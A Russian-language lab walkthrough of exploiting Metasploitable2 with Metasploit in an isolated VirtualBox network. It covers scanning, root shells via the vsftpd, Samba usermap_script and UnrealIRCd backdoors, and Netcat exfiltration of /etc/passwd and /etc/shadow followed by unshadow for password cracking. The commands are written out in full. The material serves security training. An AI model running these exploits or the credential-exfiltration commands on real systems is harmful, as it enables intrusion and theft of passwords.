
Полное прохождение эксплуатации Metasploit против Metasploitable2 — бэкдор vsftpd, Samba CVE-2007-2447, бэкдор UnrealIRCd, экфильтрация Netcat и подготовка к взлому учетных данных.
Практическое руководство по эксплуатации с использованием Metasploit Framework — от настройки базы данных PostgreSQL и сканирования db_nmap, через три рутовые оболочки через vsftpd, Samba и UnrealIRCd, до кражи учётных данных с помощью Netcat.
Этот репозиторий документирует полное взаимодействие с Metasploit против Metasploitable2 в изолированной лаборатории VirtualBox. Рассматриваемые темы:
db_nmap для сохранения результатов сканирования непосредственно в базу данныхusermap_script — инъекция команд)/etc/passwd и /etc/shadow через Netcat и объединение с помощью unshadow| Машина | Роль | IP-адрес |
|---|---|---|
| Kali Linux 2026.1 | Атакующий | 192.168.1.4 |
| Metasploitable2 | Цель | 192.168.1.3 |
Сеть: 192.168.1.0/24 — полностью изолированная NAT-сеть внутри VirtualBox.
# Запуск PostgreSQL и инициализация базы данных (однократно)
sudo systemctl start postgresql
sudo msfdb init
# Запуск Metasploit
msfconsole


msf6> db_status # Проверка: Connected to msf. Connection type: postgresql.
msf6> workspace -a 178-metasploitable2
msf6> workspace # Подтверждение активного рабочего пространства

msf6> db_nmap -A 192.168.1.0/24 -n

msf6> hosts
msf6> services

На Metasploitable2 обнаружено два FTP-сервера:
| Порт | Служба | Информация |
|---|---|---|
| 21/tcp | ftp | vsftpd 2.3.4 |
| 2121/tcp | ftp | ProFTPD 1.3.1 |
В июле 2011 года исходный архив vsftpd 2.3.4 был скомпрометирован — в него был вставлен бэкдор, открывающий рутовую оболочку на порту 6200, если имя пользователя FTP содержит :). CVE: CVE-2011-2523. Разница кода: https://pastebin.com/AetT9sS5
msf6> search type:exploit name:vsftpd
# Результат: exploit/unix/ftp/vsftpd_234_backdoor (rank: excellent)
msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info




msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit


meterpreter> shell
whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Извлечение хэшей паролей:
cat /etc/shadow | grep '$1'

Версии Samba 3.0.0–3.0.25rc3 передают метасимволы оболочки в поле имени пользователя напрямую в /bin/sh через опцию username map script — до выполнения аутентификации. Metasploitable2 использует Samba 3.0.20-Debian.
msf6> search type:exploit name:samba
# ~7 эксплойтов найдено
msf6> use exploit/multi/samba/usermap_script
msf6> info



msf6> set RHOSTS 192.168.1.3
msf6> exploit


whoami # root
smbd --version # Version 3.0.20-Debian
Вкладка 2 — Kali (приём):
nc -l -p 4567 > passwd.txt
Вкладка 1 — Оболочка эксплойта (отправка):
cat /etc/passwd | nc 192.168.1.4 4567


Повторить для /etc/shadow, затем объединить:
unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt
UnrealIRCd 3.2.8.1 распространялся с бэкдором в исходном коде. Отправка AB на порт 6667 приводит к тому, что сервер выполняет любую последующую команду с правами root — без аутентификации.
msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit


whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Необходимые опции:
db_nmap → hosts → services → search → use → info → show options → set → exploit → shell
info перед exploit — привычка, которую стоит выработать: она показывает CVE, затронутые версии и необходимые опции| Опция | Значение | Описание |
|---|
| RHOSTS | 192.168.1.3 | IP-адрес цели |
| RPORT | 6667 | Порт IRC по умолчанию |
| LHOST | 192.168.1.4 | IP-адрес прослушивателя Kali |
| payload | cmd/unix/bind_netcat | Привязанная оболочка через Netcat |
| Ошибка | Что происходит | Исправление |
|---|
Пропуск msfdb init | Нет базы данных — результаты сканирования не сохраняются | Запустите sudo msfdb init один раз перед первым использованием |
Не установлен LHOST | Обратная оболочка некуда подключаться | Всегда устанавливайте LHOST на IP вашей Kali |
Запуск msfdb init в каждом сеансе | Перезаписывает существующие данные | Запустите один раз; проверьте с помощью sudo msfdb status |
| Неправильный RPORT | Эксплойт безмолвно проваливается | Подтвердите порт из services перед установкой |
| Преждевременное закрытие прослушивателя Netcat | Усеченная передача файла | Подождите немного после команды pipe перед CTRL-C |
Пропуск unshadow | Программы взлома паролей отвергают формат раздельных файлов | Всегда сначала объединяйте passwd + shadow |